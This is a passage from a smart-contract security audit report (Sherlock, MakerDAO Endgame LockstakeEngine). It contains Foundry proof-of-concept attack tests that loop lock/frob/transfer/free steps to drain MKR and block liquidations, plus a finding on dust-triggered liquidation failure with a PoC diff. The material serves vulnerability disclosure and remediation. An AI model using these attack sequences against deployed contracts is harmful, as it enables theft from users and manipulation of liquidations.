        uint mkrBalanceAfterAttack = mkr.balanceOf(attacker);
        console.log("MKR after the attack on attacker: %e",
↪   mkrBalanceAfterAttack);
        console.log("Voting power on attackersVD after: %e",
↪   ChiefLike(chief).deposits(attackersVD));

        /* Loop */
        uint newMkrAmt = mkrBalanceAfterAttack;

        // Ensure main VD (the one the attacker steals from) has enough funds
        deal(address(mkr), users[0], mkrAmount * 10);
        vm.startPrank(users[0]);
        engine.lock(engine.getUrn(users[0], 0), mkrAmount * 10, 0);
```

```
        vm.roll(block.number + 1);

        // Lock what's left, just repeat the steps above
        vm.startPrank(attacker);
        for (uint i; i < 20; i++) {
            console.log("Loop #", i);

            engine.lock(eoaUrn, newMkrAmt, 0);
            dss.vat.frob(ilk, eoaUrn, eoaUrn, address(0), -int(newMkrAmt), 0);
            lsmkr.transferFrom(eoaUrn, urn2, newMkrAmt);
            dss.vat.frob(ilk, urn2, eoaUrn, address(0), int(newMkrAmt), 0);
            engine.free(urn2, attacker, newMkrAmt);

            newMkrAmt = mkr.balanceOf(attacker);
            console.log("MKR after the attack on attacker: %e", newMkrAmt);
            console.log("Voting power on attackersVD after: %e",
↪   ChiefLike(chief).deposits(attackersVD));
        }
    }

    function testAttack4SendOneInk() public {
        _moveInkToGem();

        // Ensure users can withdraw/select VD/select farm
        _testLiquidateUsingDog();
        _testSelectDelegate({expectRevert: false});

        // Donate 1 wei each
        for (uint i; i < users.length; i++) {
            address user = users[i];
            _sendOneInkFromEoaUrn(user);
        }

        for (uint i; i < users.length; i++) {
            address user = users[i];
            _testLiquidateUsingDog({
                user: user,
                revertMsg: "LockstakeMkr/insufficient-balance",
                useSnapshots: false}
            );
        }
    }

    function testAttack4SendOneInk2() public {
        testAttack4SendOneInk();
```

```
        // _testLiquidateUsingDog without snapshot changed MKR price, change it
↪   back
        _changeMkrPrice(1_500 * 10**18);
        // Test single user with a separate VD will revert
        _createUrnDepositDrawForUsers(user4, voteDelegate2);

        _changeBlockNumberForChief();
        _testLiquidateUsingDog({user: user4, revertMsg: ""});

        _sendOneInkFromEoaUrn(user4);

        // Now liquidation will revert
       _testLiquidateUsingDog({user: user4, revertMsg:
↪   "VoteDelegate/insufficient-stake"});
    }

    function testAttack4SendOneInk3() public {
        testAttack4SendOneInk2();

       // Depositing to VD won't help, because we also miss lsmkr, onKick tries
↪   to burn lsMkr
       _createUrnDepositDrawForUsers(makeAddr("user5"), voteDelegate2, 1e18);

       _changeBlockNumberForChief();
       _testLiquidateUsingDog({user: user4, revertMsg:
↪   "LockstakeMkr/insufficient-balance"});
    }

    function testAttack4SendOneInk4() public {
        testAttack4SendOneInk2();

        // try freeing everything
        vm.startPrank(user4);

        address urn = engine.getUrn(user4, 0);

        nst.approve(address(engine), type(uint).max);
        engine.wipeAll(urn);

        uint sID = vm.snapshot();
        // Can withdraw their deposit
        engine.free(urn, user4, mkrAmount);

        vm.revertTo(sID);
        // But not the donation
        vm.expectRevert("LockstakeMkr/insufficient-balance");
        engine.free(urn, user4, mkrAmount + 1);
```

```
    }

    function testAttack5SendLsMkr() public {
        // Same proportion as in original LSE test
        vm.prank(minedUrnCreator); engine.draw(eoaUrn, minedUrnCreator,
↪   mkrAmount/50);

        _testLiquidateUsingDog(minedUrnCreator, "");

        // We can do it because the approve is given in setUp
        vm.prank(attacker); lsmkr.transferFrom(eoaUrn, attacker, mkrAmount);
        _testLiquidateUsingDog(minedUrnCreator,
↪   "LockstakeMkr/insufficient-balance");
    }
}
```

Tool used

Manual Review

Recommendation

- Prevent users from controlling the `salt`, including using `msg.sender`.
- Additionally, consider combining and encoding `block.prevrandao` with `msg.sender`. This approach will make finding a collision practically impossible within the short timeframe that `prevrandao` is known.

Issue I-02: Leftover dust debt can cause liquidation auction to occur at significantly lowered price

Source: https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/107

The protocol has acknowledged this issue.

Found by

hash

Summary

Using `frob` to refund the gem inside `onRemove` can disallow liquidations due to dust check

Vulnerability Detail

When an auction is removed (on completetion) from the clipper, the leftover amount of the auction if any, is refunded back to the user by calling the `onRemove` method

gh link

```
    function take(
        uint256 id,           // Auction id
        uint256 amt,          // Upper limit on amount of collateral to buy
↪   [wad]
        uint256 max,          // Maximum acceptable price (DAI / collateral)
↪   [ray]
        address who,          // Receiver of collateral and external call address
        bytes calldata data   // Data to pass in external call; if length 0, no
↪   call is done
    ) external lock isStopped(3) {

        .....

        } else if (tab == 0) {
            uint256 tot = sales[id].tot;
            vat.slip(ilk, address(this), -int256(lot));
=>          engine.onRemove(usr, tot - lot, lot);
            _remove(id);
        } else {
```

After burning the associated fees, the remaining amount is credited to the urn by invoking `vat.slip` and `vat.frob` gh link

```
    function onRemove(address urn, uint256 sold, uint256 left) external auth {
        uint256 burn;
        uint256 refund;
        if (left > 0) {
            burn = _min(sold * fee / (WAD - fee), left);
            mkr.burn(address(this), burn);
            unchecked { refund = left - burn; }
            if (refund > 0) {
                // The following is ensured by the dog and clip but we still
↪   prefer to be explicit
                require(refund <= uint256(type(int256).max),
↪   "LockstakeEngine/overflow");
                vat.slip(ilk, urn, int256(refund));
=>              vat.frob(ilk, urn, urn, address(0), int256(refund), 0);
                lsmkr.mint(urn, refund);
            }
        }
        urnAuctions[urn]--;
        emit OnRemove(urn, sold, burn, refund);
```

But incase the urn's current debt is less than debt, the `frob` call will revert gh link

```
function frob(bytes32 i, address u, address v, address w, int dink, int dart)
↪   external {

    ....

    require(either(urn.art == 0, tab >= ilk.dust), "Vat/dust");
```

This will cause the complete liquidation to not happen till there is no leftover amount which would occur at a significantly low price from the expected/market price. The condition of `tab >= ilk.dust` can occur due to an increase in the dust value of the ilk by the admin

Example: initial dust 10k, mat 1.5, user debt 20k, user collateral worth 30k liquidation of 10k debt happens and dust was increased to 11k now the 15k worth collateral will only be sold when there will be 0 leftover (since else the onRemove function will revert) assuming exit fee and liquidation penalty == 15% in case there was no issue, user would've got ~(15k - 11.5k liquidation penalty included - 2k exit fee == 1.5k) back, but here they will get 0 back so loss ~= 1.5k/30k ~= 5%

POC

Apply the following diff and run `forge test --mt testHash_liquidationFail`

```
diff --git a/lockstake/test/LockstakeEngine.t.sol
 ↪  b/lockstake/test/LockstakeEngine.t.sol
index 83fa75d..0bbb3fa 100644
--- a/lockstake/test/LockstakeEngine.t.sol
+++ b/lockstake/test/LockstakeEngine.t.sol
@@ -86,6 +86,7 @@ contract LockstakeEngineTest is DssTest {

     function setUp() public {
         vm.createSelectFork(vm.envString("ETH_RPC_URL"));
+        vm.rollFork(20407096);

         dss = MCD.loadFromChainlog(LOG);

@@ -999,6 +1000,66 @@ contract LockstakeEngineTest is DssTest {
         }
     }

+    function testHash_liquidationFail() public {
+        // config original dust == 9k, update dust == 11k, remaining hole ==
 ↪  30k, user debt == 40k
+        // liquidate 30k, 10k remaining, update dust to 11k, and increase the
 ↪  asset price/increase the ink of user ie. preventing further liquidation
+        // now the clipper auction cannot be fulfilled
+        vm.startPrank(pauseProxy);
+
+        dss.vat.file(cfg.ilk, "dust", 9_000 * 10**45);
+        dss.dog.file(cfg.ilk, "hole", 30_000 * 10**45);
+
+        vm.stopPrank();
+
+        address urn = engine.open(0);
+
+        // setting mkr price == 1 for ease
+        vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1 *
 ↪  10**18)));
+        // mkr price == 1 and mat = 3, so 40k borrow => 120k mkr
+        deal(address(mkr), address(this), 120_000 * 10**18, true);
+        mkr.approve(address(engine), 120_000 * 10**18);
+        engine.lock(urn, 120_000 * 10**18, 5);
+        engine.draw(urn, address(this), 40_000 * 10**18);
+
+        uint auctionId;
+       {
```

```
+        // liquidate 30k
+        vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(0.98 *
↪  10**18))); // Force liquidation
+        dss.spotter.poke(ilk);
+        assertEq(clip.kicks(), 0);
+        assertEq(engine.urnAuctions(urn), 0);
+        auctionId=dss.dog.bark(ilk, address(urn), address(this));
+        assertEq(clip.kicks(), 1);
+        assertEq(engine.urnAuctions(urn), 1);
+       }
+
+       // bring price back up (or increase the ink) to avoid liquidation of
↪  remaining position
+       {
+        vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1.2 *
↪  10**18)));
+       }
+
+        // update dust
+        vm.startPrank(pauseProxy);
+
+        dss.vat.file(cfg.ilk, "dust", 11_000 * 10**45);
+
+        vm.stopPrank();
+
+        // attempt to fill the auction completely will fail now till left
↪  becomes zero
+        assert(_art(cfg.ilk,urn) == uint(10_000*10**18));
+
+        address buyer = address(888);
+        vm.prank(pauseProxy); dss.vat.suck(address(0), buyer, 30_000 * 10**45);
+        vm.prank(buyer); dss.vat.hope(address(clip));
+        assertEq(mkr.balanceOf(buyer), 0);
+        // attempt to take the entire auction. will fail due to frob reverting
+
+        vm.prank(buyer);
+        vm.expectRevert("Vat/dust");
+        clip.take(auctionId, 100_000 * 10**18, type(uint256).max, buyer, "");
+    }
+
+

     function _forceLiquidation(address urn) internal returns (uint256 id) {
         vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(0.05 *
↪  10**18))); // Force liquidation
         dss.spotter.poke(ilk);
```

Impact

Even in an efficient liquidation market, a liquidated user's assets will be sold at a significantly lower price causing loss for the user. If there are extremely favourable conditions like control of validators for block ranges/inefficient liquidation market, then a user can self liquidate oneself to retain the collateral while evading fees/at a lowered dai price (for this the attacker will have to be the person who `takes` the auction once it becomes `takeable`). Also the setup Arbitrage Bots will loose gas fees by invoking the take function

Code Snippet

https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L438-L454

Tool used

Manual Review

Recommendation

Use `grab` instead of `frob` to update the gem balance

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.